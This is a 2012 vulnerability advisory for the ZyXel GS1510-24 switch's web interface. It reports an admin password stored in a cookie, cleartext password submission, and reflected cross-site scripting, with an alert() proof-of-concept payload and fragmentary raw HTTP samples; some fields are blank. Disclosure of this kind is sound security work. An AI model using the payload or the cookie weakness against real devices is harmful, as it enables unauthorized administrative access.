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ZyXel GS1510 Cross Site Scripting

ZyXel GS1510 Cross Site Scripting
Posted Mar 13, 2012
Authored by Neil Fryer

The ZyXel GS1510 web frontend suffers from cross site scripting and password submission over HTTP vulnerabilities.

tags | exploit, web, vulnerability, xss
MD5 | fa652b5c200b0a3726c7a3ca05a4c317

ZyXel GS1510 Cross Site Scripting

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*Advisory Information*

Title: Multiple vulnerabilities in ZyXel GS1510 web front end
Date published: 2012-03-14 12:57:15 AM
upSploit Ref: UPS-2011-0042

*Advisory Summary*

IT Security Geeks have discovered multiple vulnerabilities in the ZyXel
1510 24-port Ethernet switch, these include Admin password stored in
Cookie, reflected Cross-Site Scripting (XSS), and clear-text password



*Affected Software*


This is the firmware that runs on the ZyXel model GS1510-24 switch.

*Description of Issue*

The GS1510-24 ZyXel switch, running firmware V1.00(BVN.1), is susceptible
to multiple vulnerabilities, these are all within the management web
interface, and are as follows:

1. The management web interface Cookie contains both the username and the
password for the Admin user to log into the switch.

2. Cleartext submission of password. The page contains a form with the
following action URL, which is submitted over clear-text HTTP:

The form contains the following password field:


3. Cross Site Scripting

The payload fe07b</title><script>alert(xss)</ script>b7e71e54af6 was
submitted in the name of an arbitrarily supplied request parameter.

This input was echoed unmodified in the application’s response.


2. Cleartext submission of password.


GET /login.htm HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_1)
AppleWebKit/534.48.3 (KHTML, like Gecko) Version/5.1 Safari/534.48.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Cache-Control: max-age=0
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Cookie: admin=password123
Pragma: no-cache
Connection: keep-alive
Proxy-Connection: keep-alive

3. Cross Site Scripting

The payload fe07b</title><script>alert(1)</
script>b7e71e54af6 was submitted in the name of an arbitrarily supplied
request parameter.

This input was echoed unmodified in the application’s response.

This proof-of-concept attack demonstrates that it is possible to inject
arbitrary JavaScript into the application’s response.


HTTP/1.1 Host:
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection:
Cookie: admin=password123


HTTP/1.1 200 OK
Server: thttpd/2.25b 29dec2003 Content-Type: text/html; charset=iso-8859-1
Date: Sun, 18 Sep 2011 16:30:14 GMT Last-Modified: Sat, 01 Jan 2000
00:00:03 GMT Accept-Ranges: bytes
Connection: close
<HEAD><TITLE>Index of
<BODY BGCOLOR="#99cc99" TEXT="#000000"
LINK="#2020ff" VLINK="#4040cc">
<H2>Index of /images/?fe


Neil Fryer/IT Security Geeks


ZyXel GS1510


Update to the latest firmware


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